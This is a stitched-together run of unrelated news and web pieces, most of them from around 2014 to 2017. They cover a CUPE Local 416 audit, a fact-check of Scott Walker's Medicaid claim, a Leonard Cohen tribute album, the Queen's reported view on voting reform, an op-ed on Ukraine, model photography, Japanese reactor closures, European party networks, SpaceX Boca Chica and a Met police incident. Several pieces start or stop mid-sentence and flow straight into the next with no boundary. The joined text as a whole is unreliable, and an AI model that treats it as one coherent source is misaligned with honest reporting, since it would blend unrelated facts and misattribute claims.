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from the issues highlighted. “Both Mark Ferguson and Darin Jackson stated they did not make any personal purchases on the local’s Amex credit card,” says the report, and “stated they had and have no financial interest in, nor received any financial compensation from, any of the vendors that were providing the services and were paid by the local and (the company) they set up.” Ferguson did not respond to messages left by the Star this week. Jackson could not be reached. Hewitt was not interviewed by the auditor. In a brief interview with the Star, he said he had read the review. “The only comment I have to make is I did nothing wrong — nothing wrong at all,” Hewitt said. Other findings of the audit include that there were “unaccounted for” iPads and BlackBerrys; that Jackson and Ferguson used Local 416 American Express cards for almost $60,000 in purchases with no record of what was bought, and sometimes loaned the cards to other members; and “poor accounting practices.”
The audit describes how, in 2011, Local 416 began providing telephone town hall and “call blast” services to members and others, including politicians and political parties. In February 2012, after receiving legal advice about limiting the local’s liability, the officials incorporated Civic Public Relations and Research, with themselves as directors. Financial records were never reported to the local’s executive committee or members. The business generated $63,958 in revenues and incurred $393,239 in related expenses. “When accounting for the cash flows which include the operating losses and capital expenditures, the local had a net cash outflow of $364,476,” said the audit.
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Meanwhile, between 2009 and 2013, the local’s cash and investments ballooned from $2.25 million to $7.2 million, thanks to hikes in members’ paycheque deductions for dues and a new strike contingency fund. The audit was released as the local negotiates with the city for a contract to replace one that ended Dec. 31, 2015, which included considerable concessions. Elections to return 416 to local control are expected in coming months. The audit makes many recommendations to tighten financial controls. Kevin Wilson, a CUPE spokesman, said: “CUPE (national) will not be commenting on internal union matters.” OTHER FINDINGS OF THE AUDIT —Between 2011 and 2013, the local paid $328,690 to one man, Apollo Chung, and two companies he apparently controlled, for call centre activities and tech support. The audit didn’t indicate that Chung did anything wrong. The Star could not find Chung. The Chinese Canadian National Council, with which Chung was once affiliated, suggested he might live in Vancouver. —The “call blast” company set up by the local provided services upon verbal agreement. There is no record of payment for services it provided for Ontario NDP Leader Andrea Horwath in 2013, including conducting telephone townhalls and making robocalls. Ferguson and Jackson gave the auditor “Ontario NDP contacts who were involved in the meetings related to the verbal agreement for the services. To date (the auditor) has not been able to reach the contacts to confirm the terms of the agreement.” Neither the party nor the NDP caucus “has any invoices on record,” the party’s provincial secretary, Karla Webber-Gallagher, told the Star. —The auditor cited scant paperwork on the purchase of iPads, laptops and BlackBerrys, suggesting 20 are “unaccounted for.” Devices were given to “staff and others involved in the local’s activities” but the local did not record who received them. KEY PLAYERS Mark Ferguson: The paramedic was elected CUPE Local 416 president in 2008. He led the City of Toronto’s outside workers through the 2009 civic workers’ strike that brought public furor over garbage dumped in parks. Ferguson later led bargaining with the administration of then-mayor Rob Ford, in which Local 416 made major concessions on a four-year contract rather than face a winter lockout. Ferguson said in April 2012 that he would not seek re-election, citing stress from the bruising talks. But he changed his mind and was narrowly re-elected later that year. Ferguson ceased being president sometime in 2014, without any public announcement.
Mark Ferguson ceased being president sometime in 2014.
Dave Hewitt: Elected a shop steward in solid waste collections in 1995, he became Local 416 vice-president in 2008. Leading up to the 2011 contract negotiations Hewitt was a vocal critic of Rob Ford, branding the then-mayor a bully. He later led the public fight against the city’s plans to expand private garbage collection. Hewitt became acting Local 416 president after Ferguson’s departure in 2014, and remained so for some time after CUPE national announced last February it was taking control of the local.
Dave Hewitt became acting Local 416 president in 2014.
Darin Jackson: Worked at the former city of North York, and then Toronto. He was on the board of CUPE Local 416 when it formed after amalgamation in 1998. Jackson rose to the position of secretary-treasurer, being re-elected most recently in 2012, and retired from the city in July 2015.
Darin Jackson was secretary-treasurer of CUPE Local 416.Says he "turned down a Medicaid expansion under Obamacare," but because of actions he took, for the first time in Wisconsin's history "everyone living in poverty is covered under Medicaid."
Presenting his alternative to the Affordable Care Act, Gov. Scott Walker bragged that even as he refused federal money under the law to expand Medicaid, he made historic progress in insuring Wisconsin's poor.
"I turned down a Medicaid expansion under Obamacare. And I got to tell you, that was kind of tough in a blue state like Wisconsin. There were even some Republicans that wanted us to grab the money," Walker said Aug. 18, 2015, in a presidential campaign speech in Minnesota.
"But we turned it down because we knew how difficult it would be to repeal Obamacare -- and put patients and families back in charge of their own health care decisions -- if states were adding to it, were expanding underneath it.
"In my state," Walker continued, "even without taking that expansion, we showed that we could get results. I’m proud to say the state of Wisconsin, for the first time in our history -- first time in our history -- everyone living in poverty is covered under Medicaid."
As we'll see, everyone in Wisconsin who is living in poverty -- at least, based on the federal poverty level -- is now covered by Medicaid.
But Walker accomplished that by taking advantage of another provision of Obamacare -- pushing less-poor people off of Medicaid and into the marketplace that was set up under the law, albeit with subsidies to buy coverage.
Moreover, his move meant Wisconsin has passed up more than $550 million in federal money, putting an additional burden on Wisconsin taxpayers.
Turning down federal funds
Walker’s Obamacare alternative was his first major policy initiative as a presidential candidate. It was criticized by Louisiana Gov. Bobby Jindal, a fellow GOP contender for the White House, as offering a "new entitlement" for every American.
We rated that claim Half True. Walker’s plan offers an entitlement -- tax credits to help people who aren’t offered coverage by an employer. But the credits aren’t exactly new, and they’re not available to everyone.
The main intent of President Barack Obama's Affordable Care Act, meanwhile, was to expand coverage to the uninsured in two ways: through tax credits similar to those in Walker’s plan to help moderate-income people buy insurance in the marketplace; and by expanding Medicaid for low-income people, including those with incomes somewhat above the federal poverty level.
That Medicaid expansion is what Walker references in his claim about insuring Wisconsin’s poor.
The Obamacare Medicaid expansion
Medicaid provides health coverage to some 72 million Americans, including 1 million people in Wisconsin. Low-income adults, as well as children, pregnant women, elderly adults and people with disabilities, are eligible. The program is funded jointly by states and the federal government, but is administered by the states.
Under Obamacare, the federal government agreed to pay 100 percent of the Medicaid expansion cost for the first three years, declining to 90 percent in 2020 and beyond.
A U.S. Supreme Court decision in 2012, however, said states could opt out of the expansion -- and 19 states, including Wisconsin, have done so, according to the Kaiser Family Foundation.
When he announced in February 2013 that Wisconsin would reject the Obamacare expansion, Walker explained his decision in part by contending that the nation's growing debt would prevent the government from paying for the expansion in the future.
Indeed, a year later he claimed that "federal government reneging" on Medicaid payments to Wisconsin had caused about $240 million in extra costs in the 2013-’15 state budget. We rated that claim False. Typical state-federal cost-sharing fluctuations -- not any reversal on a commitment by Washington -- led to higher costs for Wisconsin.
So, what did Walker do instead of accepting the extra Obamacare money to expand Medicaid eligibility?
Walker’s alternative
As the Milwaukee Journal Sentinel has reported, Walker became the only governor in the country who used the Affordable Care Act to expand access to health insurance while turning down the additional federal dollars available to pay for it.
Most of Walker’s fellow Republican governors opted not to expand their Medicaid programs through the law, thereby creating a "coverage gap" -- some 4 million people nationwide with incomes above Medicaid eligibility limits but below the lower limit for premium tax credits to buy insurance in the marketplace.
Despite rejecting the federal money, Walker still expanded Wisconsin's Medicaid program, and 145,000 people have gained coverage as a result. Wisconsin is the only state, according to Kaiser, without a so-called coverage gap.
Now, childless adults with an income below the federal poverty level — $11,770 — are eligible for BadgerCare Plus, the state's largest Medicaid program.
But adults with incomes above the federal poverty level -- including an estimated 57,000 previously covered by BadgerCare Plus -- are no longer eligible for Medicaid. They can buy subsidized private health insurance in the marketplace set up under the Affordable Care Act.
It’s important to note that the federal poverty level is a benchmark. Arguably, few people would contend that someone with an income of $11,770 a year was living in poverty, while someone with an income slightly above that was not.
Moreover, Walker’s expansion comes with a higher cost to state taxpayers.
The left-leaning Urban Institute estimates that accepting the federal Obamacare dollars to expand Medicaid would have saved $2.5 billion in state dollars from 2015 through 2024. To put it another way, Wisconsin would spend 5 percent less on Medicaid, or an average of $250 million less per year.
Our rating
Walker said he "turned down a Medicaid expansion under Obamacare," but because of actions he took, for the first time in Wisconsin's history "everyone living in poverty is covered under Medicaid."
Under changes made by Walker, everyone in Wisconsin with an annual income at the federal poverty level ($11,770 for a single person) is now eligible for Medicaid. That is the first time in Wisconsin that everyone at or below the federal poverty level is eligible for Medicaid.
But it's important to note that, while Walker rejected the Obamacare expansion of Medicaid, he used another provision of Obamacare to move less poor people off of Medicaid and into the marketplace created by Obamacare. And Wisconsin has already passed up more than $550 million in federal money, putting an additional burden on state taxpayers.
For a statement that is accurate but needs additional information, our rating is Mostly True.Description
Legendary singer-songwriter Leonard Cohen died on November 7, 2016, one day before the 2016 Presidential Election, but the world didn’t find out for several days after. On January 24, 2017 (shortly after the inauguration of Donald Trump and the succeeding Women’s March), New York City finally paid tribute to the Poet Prince of Montréal with a concert featuring dozens of singers, songwriters and musicians, including Richard Thompson, Josh Ritter, Will Sheff (Okkervil River), Amy Helm, Lee Ranaldo (Sonic Youth), Lenny Kaye (Patti Smith Group), Elvis Perkins, Holly Miranda, Joan As Police Woman, Delicate Steve, and many more. It was an evening the Village Voice called “a loving, thoughtful tribute to Cohen’s life in music and poetry.” The live album features highlight performances from this nearly three-hour marathon concert, which the Voice also hailed as a “carefully constructed, expertly structured production.”
The concert and subsequent album was produced by Cohen fans Jesse Lauter (Tedeschi Trucks Band), Hannah Gold (City Winery Presents), and Josh Kaufman. Kaufman (Guitar- Bob Weir) led the house band, which featured first-rate New York-based musicians including Ray Rizzo (Drums- Yo Yo Ma), Walt Martin (Keys- The Walkmen), Annie Nero (Bass- Craig Finn), Stuart Bogie (Brass & Woodwinds- Arcade Fire), Nick Kinsey (Percussions- Kevin Morby), and Dave Harrington (Guitar- Darkside), punctuated by a backing vocal trio that Cohen would have been proud of— Leslie Mendelson, Jocie Adams and Cassandra Jenkins.
In the liner notes to this collection, music critic Justin Joffe writes, “Sincerely, L. Cohen: A Live Celebration of Leonard Cohen could have been a solemn affair. But all performers took the celebration part to heart, infusing Cohen’s most somber truths with equal parts reverence and reverie. The evening found a mix of New York icons, esteemed singer-songwriters, cult performers, and up-and-comers for a night of Cohen standards, stories and deep cuts.” Joffe continues, “Sentimental and scholarly, full of tearful singalongs and heartfelt remembrance, it was an evening Cohen would have appreciated.” A limited-edition double vinyl run of 500 units is available for preorder and will hit stores in time for the holidays.The Queen was opposed to changing the voting system, according to a Labour peer who breaches protocol to reveal a political opinion expressed in a 20-minute conversation.
Joyce Gould, Baroness Gould of Potternewton, says in her memoir that in 1997: “We discussed her views on proportional representation; I will not disclose her words but they were not supportive.”
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
By convention, the monarch and her family avoid involvement in politics, and discussions with the Queen are supposed to remain private. But in her book, Lady Gould says that, when she was appointed by Tony Blair to the Commission chaired by Roy Jenkins to devise a more proportional voting system, she discussed it with the Queen. Lady Gould’s appointment to the Commission meant that she had to resign as a government whip in the House of Lords. Lords whips are, formally, Lords and Baronesses in Waiting in Her Majesty’s Household, and so “I had to explain to the Queen why I was leaving her household”.
Lady Gould writes: “I was summoned to meet her at 11.50am on 15 December 1997. It was an interesting 20 minutes.”
Despite the Queen’s opposition, Lady Gould supported the majority view of the Commission, which favoured the “Alternative Vote Plus” system. This would have elected constituency MPs using the Alternative Vote (marking the ballot paper with numbers in order of preference), with extra MPs elected for regions to “top up” under-represented parties. But Mr Blair went back on the promise of a referendum, and when one was held in 2011, it was on the Alternative Vote alone, without the proportional “top-up” element. Lady Gould writes that it “resulted in a big fat ‘no’”.
Lady Gould, whose memoir The Witchfinder General came out last month, was Director of Organisation for the Labour Party and led the fight to expel members of the Militant tendency in the 1980s. She was made a peer in 1993, and was a deputy speaker of the House of Lords until 2012.
The Queen has always sought to avoid being drawn into political controversy. She was assumed to be opposed to Scottish independence, although her advice to Scottish voters to “think very carefully” before voting in the 2014 referendum was carefully ambiguous. David Cameron was embarrassed when a microphone picked up his comment to Michael Bloomberg, the former New York mayor, that the Queen had “purred down the line” when he told her the result.
The Queen was also assumed to be offended by Mr Blair’s memoir, A Journey, which reported details of barbecues at Balmoral and discussed the response of Princes William and Harry to the death of their mother.
On the other hand, Margaret Thatcher was embarrassed by reports that the Queen found her policies “uncaring” and “socially divisive”. Charles Moore, in his biography of Baroness Thatcher, named Michael Shea, the Queen’s press secretary, as the source of the stories, and revealed that the Queen had apologised to her Prime Minister for them.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.Documentary in which Ade Adepitan explores the afterlife of some of the clothes we donate to charity shops. He follows the trail to Ghana, the biggest importer of our castoffs.
In Britain we give thousands of tons of our unwanted clothes to charity shops every year. But where do they actually go? It turns out most don't ever reach the rail of the local charity shop, they are exported to Africa. And even though we have given them away for free, our castoffs have created a multimillion-pound industry and some of the world's poorest people pay good money to buy them.
In this revealing film for BBC Two's This World, Ade Adepitan tells the fascinating story of the afterlife of our clothes. He follows the trail to Ghana, the biggest importer of our castoffs. One million pounds' worth of our old clothes arrive here every week. Ade meets the people who make a living from our old castoffs, from wholesalers and markets traders to the importers raking in a staggering £25,000 a day. But not everyone is profiting.
With cheaply made western clothes flooding the market, the local textile industry has been decimated. Ade visits one of the last remaining cloth factories and finds it on its knees. And the deluge of our clothes isn't just destroying jobs, it has also had a seismic effect on Ghanaian culture. Western outfits are fast replacing iconic West African prints and traditional garb. Ade travels to remote villages to find everyone wearing British high street brands.Washington And The World Putin’s Reckless Ukraine Gambit
Eugene Rumer is a senior associate and the director of the Carnegie Endowment for International Peace’s Russia and Eurasia Program. Andrew S. Weiss is vice president for studies at the Carnegie Endowment. He served on the National Security Council staff during the Clinton administration.
Vladimir Putin’s surprise decision to ask for a Russian-style War Powers resolution from his parliament dramatically ups the ante in the Ukraine crisis and positions Russia for full-scale military action. It also signals Putin’s commitment to use all necessary means—many of which have already been in use in Crimea—to keep Ukraine in Russia’s orbit. If Putin follows through on his threat to invade Ukraine, he will signal yet again that the post-Cold War era that began with the “Velvet Revolutions” of 1989 has ended. The damage to Russia’s relations with the West will be deep and lasting, far worse than after the Russian-Georgian war. Think 1968, not 2008.
President Barack Obama’s handling of the Western response to the Ukraine crisis is now arguably the biggest test of his presidency. It is a crisis that no one anticipated and that the West has been frustratingly divided over since the European Union’s original, misguided attempt to force Ukraine to make an either-or choice about going east or west. For too long we have heard U.S. officials says repeatedly, “The Europeans are taking the lead.” That needs to stop.
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Russia rolled over tiny Georgia with ease and the military phase of the crisis ended quickly. Ukraine will pose a much bigger challenge to Russia militarily, and the crisis will be more protracted and take a far less predictable path. The country is badly divided, of course, but anti-Russian sentiments are strong and undoubtedly growing in many parts of Ukraine. The forces of Ukrainian nationalism are on the rise throughout much of the country, provoked by Moscow’s disregard for Ukrainian sovereignty and irresponsible attempts to portray the Maidan revolution as a fascist triumph—patently offensive to a nation that suffered so much during World War II.
We should not take for granted that even in Ukraine’s east and south, where so many ethnic Russians live, that a military occupation will be a cakewalk. Many local residents surely do not want to become Russia’s 90th province. In Ukraine’s west, where the Soviet Army had to fight a protracted counterinsurgency campaign after WWII against Ukrainian nationalist guerrillas, armed resistance is certain to be strong. During the revolution, many army depots and armories were overrun so there are more weapons floating around Ukraine than at any point since 1991. And the leadership of the main instruments of coercion – the Army, the Interior Ministry, and the intelligence service – are all in the hands of political leaders with strong Ukrainian nationalist credentials.
Any invasion—which is what it would be—of a vast country of 46 million in the heart of Europe, sharing borders with NATO allies Poland, Hungary, Slovakia and Romania, would pose a major security challenge for the United States and other key European powers. Even without further Russian action, allies such as the Baltic countries will be seeking U.S. reassurance. Lithuania has already asked for Article IV consultations under the NATO Treaty in response to a clear threat to its security. These countries likely will also ask for hard reassurances—such as deployments of U.S. and other allied troops and equipment on their territory—as Turkey did in 2012 when Syria shot down a Turkish jet. They will also need help to shore up their eastern borders and prepare for possible flows of refugees from Ukraine. The Baltic states will probably ask for similar reassurances. One can also expect cyber attacks and intrusions, false alarms and an atmosphere of tension the likes of which have not been seen since the worst days of the Cold War.
Post-revolutionary Ukraine is in bad shape. Its economy is wrecked. Government institutions broke down completely after the Yanukovych government disappeared overnight. Corruption and criminality, Ukraine’s twin scourges, remain basically intact. Thanks to Russia’s unexpected moves in Crimea, the West will now have to put Humpty Dumpty back together on its own. These tasks demand that the president designate a senior point-person for coordinating Ukraine policy in all its complexity. Deputy Secretary of State William Burns, one of America’s ablest diplomats and an old Russia hand, is the obvious choice.
The break in the West’s relations with Russia is bound to be deep and lasting. The G-8 will be its first casualty with the Western powers likely to reconstitute the G-7 in its original form as a direct rebuff to Putin. Other important international mechanisms —the U.N. Security Council, ad hoc diplomatic efforts on Syria, the P5+1 process on Iran, the Six-Party talks on North Korea, and so on—will be filled with renewed acrimony and dysfunction. Some may break down entirely. Inevitably, there will be congressional calls for sanctions against Russia, which the White House will be hard-pressed to resist no matter how much it may want to preserve the shreds of cooperation with Russia on Iran, Syria or Afghanistan. The West and Russia are in uncharted waters.When we’re shooting photos of our models, there are a lot of factors to consider. Lighting. Proper white balance. Aperture.
But there’s one factor that is often overlooked, and that can play a significant role in the look and feel of your images.
Focal length.
Dorky Photography Stuff
Now, technically, focal length refers to the distance between the lens and the image sensor of your camera. Functionally, though, it’s basically an expression of “zoom” or picture angle. A shorter focal length will have a wider picture angle or field of view than a longer focal length.
Now, there are some out there who claim that shorter and longer focal lengths introduce distortion into an image. But outside of the really short end, where you get barrel distortion around the edges of the image, that’s really not the case. If you stay in the same place and shoot the same subject, and only vary the focal length, as you can see with the barn up there, distortion isn’t a factor.
Distortion does come into play, however, when you change your perspective relative to your subject.
What the fuck does that mean? Well, let’s say that you were shooting that same barn, but each time you changed focal lengths, you moved to keep the barn the same relative size in the frame. At longer focal lengths, the barn would appear flatter, and the background closer. At shorter focal lengths, the barn would appear larger and more dimensional, with the background falling away behind it.
These cans show the idea rather well. It’s not the focal length that is causing the feel of these different images to change so much, but the distance from the subject.
How does this apply to modeling?
Recently, I’ve been working on Trumpeter’s 1/32 MiG-23. It’s a big, long aircraft, and ungainly as hell to shoot. What’s more, with my usual 60mm lens, I had to pull back so far to shoot the damn thing that it was starting to feel…compressed.
I mean, this is a big model. But in the photos, it almost looks like a 1/48 kit. And the wings and tail look unnaturally compacted.
So I decided to do a little visual demonstration.
Here is the MiG-23 shot with my 60mm lens.
Now, here it is shot with my 35mm lens, from the same position.
If you look closely, there’s no distortion here, but there’s a much wider field of view. And that field of view lets me get my camera closer.
When that happens, the proportions distort to give the Flogger more a feeling of dimension, with the nearer elements growing larger, and the further elements smaller.
It can be tough to really appreciate the difference that the combination of focal length + distance can make in the feel of an image, so I’ve combined the two for easier comparison.
If you compare these two images, the 35mm lens and closer shooting distance invoke a much more epic sense of scale. The tail is larger. The wings longer. The nose stretches further into the distance.
What is “right”?
It’s generally said that 50mm is a “neutral” focal length, in that it basically captures the same field of view as the in-focus portion of our natural eyesight. But we also have peripheral vision and depth perception. And when you get up close to an aircraft or a tank or whatnot, it can seem rather imposing.
By playing around with your focal length and your distance from the subject, you can recreate some of that same sense of scale with your model photography. Is it correct? Well, I’d say it’s a matter of perspective.
To see the perspective in action, I’ve shot three subjects – my 1/32 Ki-84 Hayate, 1/35 T-80BV, and 1/32 F-104S-ASA Starfighter – with three different lenses. My 35mm, 60mm, and 100mm. As you can see, the focal length + perspective shift creates vastly different senses of proportion, allowing you to play with different ways of capturing your builds.
Which do you prefer?
Ki-84 Hayate
T-80BV
F-104S-ASA StarfighterJapan is to decommission three nuclear reactors, which have outlived the government’s recommended 40-year service life. It will also be the first time a reactor is permanently shut down since the Fukushima nuclear accident in 2011.
The decision was made to shut the reactors due to high upgrade costs. Following the Fukushima nuclear disaster, tough regulations were introduced to prevent any repeats, which would mean reactors would be forced to close after 40 years. However, their service life could be extended for a further 20 years, if they underwent stringent Nuclear Regulation Authority tests.
The three reactors are in the Fukui Province on Japan’s west coast, where the Mihama No.1 and No.2 reactors and the Tsuruga No.1 reactor are set to go offline permanently. Local media reports in Japan say another two reactors are also likely to be scrapped, with an announcement expected later this week.
Japan utilities set to scrap 5 ageing nuclear reactors http://t.co/9IBz9BUypdpic.twitter.com/przslwp56o — NDTV (@ndtv) March 17, 2015
The five reactors in question are among the oldest in Japan and are between 39 years to 44 years old. They are deemed inefficient as they generate a relatively low amount of power. With a capacity of only 559 megawatts each, it wasn’t economically viable to upgrade the reactors to give them another 20 years.
Following the Fukushima disaster, all Japan’s 48 nuclear reactors were taken offline. Analysis by Reuters in 2014 stated that as many as two thirds of these facilities may never produce power again because of prohibitively high upgrade costs, local opposition and seismic risks. The Fukushima plant suffered a meltdown following a tsunami triggered by an earthquake in the Pacific Ocean.
Japan wants to restart its nuclear program in the summer, with Prime Minister Shinzo Abe’s government looking to bring some of the country’s reactors back online. They say this is a necessary step to promote economic growth.
The reason for Abe’s nuclear drive is the expense in replacing lost energy that constituted 30 percent of the country’s consumption, which the government says cost Japan an extra $35 billion in 2013. Japanese consumers have seen their energy bills climb by 20 percent since the disaster.
The Kyushu Electric Power Co will be given the go-ahead to restart two nuclear units in the south west of Japan in June, according to three government sources, citing Reuters. The reactors along with two in Takahama have passed initial safety checks.
READ MORE: ‘What’s your anti-disaster plan?’ Thousands protest Japanese nuclear revival
However, the move to restart Japan’s nuclear program has its critics, with the governor of Fukushima saying the government must make sure safety is of paramount importance.
"We urge the government to take into full consideration the tremendous suffering from the nuclear power plant accident and make sure that future policy ensures the safety and peace of mind of all citizens," Masao Uchibori told Reuters.
Local residents are also unhappy and have brought injunctions against the proposed restart in early March. These are currently being considered by Japanese courts. If the protesters get their way, Japan’s nuclear program may never restart.
"Japan's courts have always been hesitant to properly check the state and its legislative process," but the shift in public opinion against nuclear power may have turned some judges in favor of residents, said Hiroshi Segi, a former judge turned critic of Japan's judicial system, Reuters reports.
READ MORE: Fukushima fishermen ‘absolutely shocked’ at TEPCO failing to report leak for 10 months
Yuchi Kaido, a lawyer working on the cases to stop the restarting of Japan’s nuclear program said: “Now that we are drawing closer to restarts, there is no other entity but the judiciary to realistically stop it."
Public opinion about the reintroduction of nuclear power in Japan hasn’t been helped by the clean-up operation at the Fukushima plant, which has been rocked by a number of scandals. The latest came in February when the Tokyo Electric Power Company (TEPCO), responsible for running the power station, was strongly criticized for failing to report a radioactive leak for 10 months.
A drainage ditch, receiving runoff water from the highly contaminated roof of the Sector 2 reactor, was transporting water rich in cesium together with rainwater into the sea. The leak was initially discovered in May 2014.
Before the Fukushima nuclear disaster, Japan was the third biggest user of nuclear power in the world. Since the shutdown of the 48 reactors, the country has seen a shift towards using fossil fuels, with coal and liquefied natural gas particularly popular.The second season of the action drama spin-off from 'Marvel Avengers Assemble' (2012). Clark Gregg reprises his role from the film as Agent Phil Coulsen, who runs an elite team for the Strategic Homeland Intervention, Enforcement and Logistics Division. Together these agents of S.H.I.E.L.D. must investigate and hunt down strange occurences posed by new threats and a rising number of supervillains. The episodes are: 'Shadows', 'Heavy Is the Head', 'Making Friends and Influencing People', 'Face My Enemy', 'A Hen in the Wolf House', 'The Writing On the Wall', 'The Things We Bury', '...Ye Who Enter Here', 'What They Become', 'Aftershocks', 'Who You Really Are', 'One of Us', 'Love in the Time of Hydra', 'One Door Closes', 'Afterlife', 'Melinda', 'The Frenemy of My Enemy', 'The Dirty Half Dozen', 'Scars' and 'S.O.S.'.The European Parliament elections in May saw a number of populist, far-right and Eurosceptic parties gain representation. Alexandre Afonso writes that despite their success, the majority of these parties remain disconnected from other parties at the national and European levels. Presenting a network of European parties, he illustrates that those on the Eurosceptic-right and radical-left are still largely isolated from mainstream politics and the parties of government.
A new European Parliament has been sworn in on 1 July, with a greater number of populist Eurosceptic MEPs than ever before. Out of the 751 seats in the European Parliament, 48 are now held by the Europe of Freedom and Direct Democracy group, essentially uniting Nigel Farage’s UKIP and Beppe Grillo’s Movimento Cinque Stelle, while 52 are held by non-affiliated parties such as the French Front national, the Dutch PVV or the Austrian FPÖ.
After the success of UKIP or the Front National, many media outlets have mentioned earthquakes, landslides and other geological metaphors to describe changing power relationships that would allegedly change the face of Europe. However, in a political system where alliances and cooperation across political parties at different levels are fundamental, the Eurosceptic populist right remains badly connected and deprived of access to power.
Figure: Network of European political parties (click to enlarge)
Note: For a high-resolution version of this image click here
In the picture above, I have represented the European political system as a network of political parties connected to each other both transnationally and domestically. The nodes in the network represent all political parties that obtained seats in the EP in the last European elections, and their size is proportional to their number of seats. Transnationally, they are connected via their membership in the European political party groups. These groups broadly correspond to the traditional party families: the Social-Democrats (Progressive Alliance of Socialists and Democrats: Labour, German SPD, Italian Democratic party), the centre-right (European People’s Party: the German CDU/CSU, the Spanish PP, the French UMP, Forza Italia), the Liberals (Alliance of Liberals and Democrats for Europe: Liberal Democrats), the Greens, the Radical Left (GUE-NGL: Syriza, Podemos), the Conservatives, and Europe of Freedom and Direct Democracy (UKIP and Movimento Cinque Stelle).
Many of these parties that co-operate transnationally with like-minded parties are also engaged in government coalitions with other parties at the domestic level. For instance, the German SPD, which is a member of the social-democratic political group, is in a coalition with the CDU, which is a member of the European people’s party. The British Conservatives, who belong to the European Conservatives and Reformists, are in a domestic coalition with the Liberal Democrats, who are a member of the Alliance of Liberals and Democrats for Europe. Knowing who is connected with whom is interesting because it can play a role in co-ordinating domestic and European policies. In the case of the CDU and SPD, the fact that two of the largest parties in the European Parliament are in a coalition together at the domestic level can provide a strong basis to promote policies.
Unsurprisingly, social-democrats and the European People’s party are well connected via a number of domestic government coalitions. Such “red-grey” coalitions are in place in Romania, Germany, Austria, Greece and Italy. What is perhaps more surprising is the prevalence of liberal/social democratic coalitions, making the Liberals a well-connected party family in spite of their relative electoral weakness. Such coalitions are in place in the Netherlands, Denmark, Slovenia, Lithuania, Estonia and Bulgaria.
In fact, network measures of centrality indicate that Liberals parties are even better connected than the Social Democrats. This is essentially due to the fact that the size of these parties doesn’t allow them to govern alone at the domestic level, and they are therefore forced to coalesce with other parties to be in power, increasing their connectedness. Finally, grand coalitions uniting social-Democrats, Liberals and the centre-right, sometimes with other parties, are in place in Finland, Belgium, and the Czech Republic. Coalitions between centre-right and liberals are rather rare, and only observable in Sweden.
Compared to the days of red-green coalitions in Germany, Green parties appear weakly connected, with members taking part in coalitions only in Luxembourg and Finland. The British Conservatives, by deciding to leave the EPP in 2009, have given up on substantial connections in the sense that their partners in the ECR are mostly small and badly connected, with the exception of their Polish (they are not small) and Latvian (they take part in government) partners.
Moving to the Eurosceptic right, in spite of their electoral success, these parties appear clearly isolated, with no link to any coalition government at the moment. This is true both for the parties that failed to form a political group of their own (Marine Le Pen and Geert Wilders did not manage to find partners in a sufficient number of countries), but also for UKIP, whose partners in the “Freedom and Direct Democracy” group are not connected to any relevant party in power. Two exceptions are the Danish People’s Party and the new Alternative für Deutschland, which joined the British Conservatives’ ECR group |
isn’t foreordained you can easily adjust your narrative to allocate attention to whichever character has sort of been standing in the back, running things remotely. Everyone likes their time at the center of things, and keeping generic encounters for your tech guy and face in your back pocket. Waiting for the insertion of the right flavor text can do wonders for party dynamics. Be Prepared to Get Very Specific (or Cinematic) at the Drop of a Hat
Practice describing things. Look around the room you’re in right now. Is it small? Is it well lit? Is it a train carriage with three rows of four seats split lengthwise by a narrow aisle with the California countryside slipping by the windows in the early afternoon glare? Does the masked assassin take a shot to the shoulder, or does her shoulder explode in a spray of blood and bone as the vector’s slaughter accelerator fills the air with a cloud of needle-sharp projectiles. Just because your sketching in the picture as you go doesn’t mean it can be without interesting details. In fact, adding just the right details to trigger your players imaginations can make for an even more memorable scene for each of them than a long paragraph read from a published module, even if every single one is seeing something completely different.
RelatedSpaceX has finished installing a second ground station antenna at its future Boca Chica spaceport for the purpose of tracking Crew Dragon missions to the International Space Station beginning in 2018.
Crew Dragon is the Hawthorne, Calif.-based company’s seven-seat spacecraft designed to carry humans to the ISS and other destinations. A SpaceX spokesman said the antennas will also be used to track flights from Boca Chica once they’re underway.
The company acquired the 86-ton antennas from NASA’s KennedySpaceCenter at Cape Canaveral and transported them to Boca Chica via semitrailer. The first antenna was installed this summer.
The Boca Chica site broke ground in September 2014. Later, 310,000 cubic yards of soil were trucked in over a period of months to stabilize the area. No concrete has been poured other than the antenna bases and no structures have been erected, though the STARGATE Technology Park, a public-private partnership between the University of Texas Rio Grande Valley and SpaceX, is under construction across State Hwy. 4. No date has been set for the first launch from Boca Chica.
The company said it has completed 16 launches so far in 2017, including Monday’s launch of a Korean commercial communications satellite from KennedySpaceCenter.
“While SpaceX’s launch cadence has never been higher, and even as our teams have worked to modernize and improve our other launch complexes, we have continued to make progress on building the first-ever orbital commercial spaceport in South Texas,” said the spokesman.
Meanwhile, the company is at work developing its Interplanetary Transportation System, nicknamed “BFR,” which SpaceX founder and CEO Elon Musk plans to use to transport humans to Mars for the purposes of colonization. BFR, which stands for “Big F— Rocket,” would feature 31 main engines propelling a spacecraft capable of carrying about 100 people.
Musk gave an update of his Mars plans at a meeting of the International Astronautical Congress on Sept. 29 in Australia, during which he said the company plans to launch its first non-crewed flights to Mars by 2022. If all goes well, the first crewed flights to Mars would take place in 2024, he said.
sclark@brownsvilleherald.com
A more complete version of this story is on www.myBrownsvilleHerald.comMet confirms driver was victim of mistaken identity after video shows officer breaking window when he would not get out of car
Two police officers have been placed on restricted duties after footage circulated on social media showed one of them smashing a car windscreen when the driver did not follow his order to get out of the vehicle.
Scotland Yard confirmed that the driver, who gave his name in the video as Leon Fontana, was the victim of a case of mistaken identity.
“The investigation will examine the officer’s use of force during the incident,” police said in a statement released on Sunday afternoon.
The footage showed the man being told to get out of the car by the officers, who called him “TJ”. When he did not comply, one of the officers screamed at him, started pulling at his car window and hitting it, before smashing the windscreen and trying to cut away the shattered glass with a pocket knife.
Mega SoSolid #S9 (@OFFICIALSOSOLID) What gives the right for this officer to damage this car @metpoliceuk who is he? pic.twitter.com/juti0GdvMH
The man told the officers he was not TJ and that he was recording the incident “for my safety”. The officers told him he was “not allowed to drive”, but he said he had a licence and insurance.
One of the police officers was heard to claim “I’ve done absolutely nothing” shortly after the windscreen was smashed.
Mega SoSolid #S9 (@OFFICIALSOSOLID) Video 2 mistaken identity @metpoliceuk??? pic.twitter.com/Hz2hbGAUkO
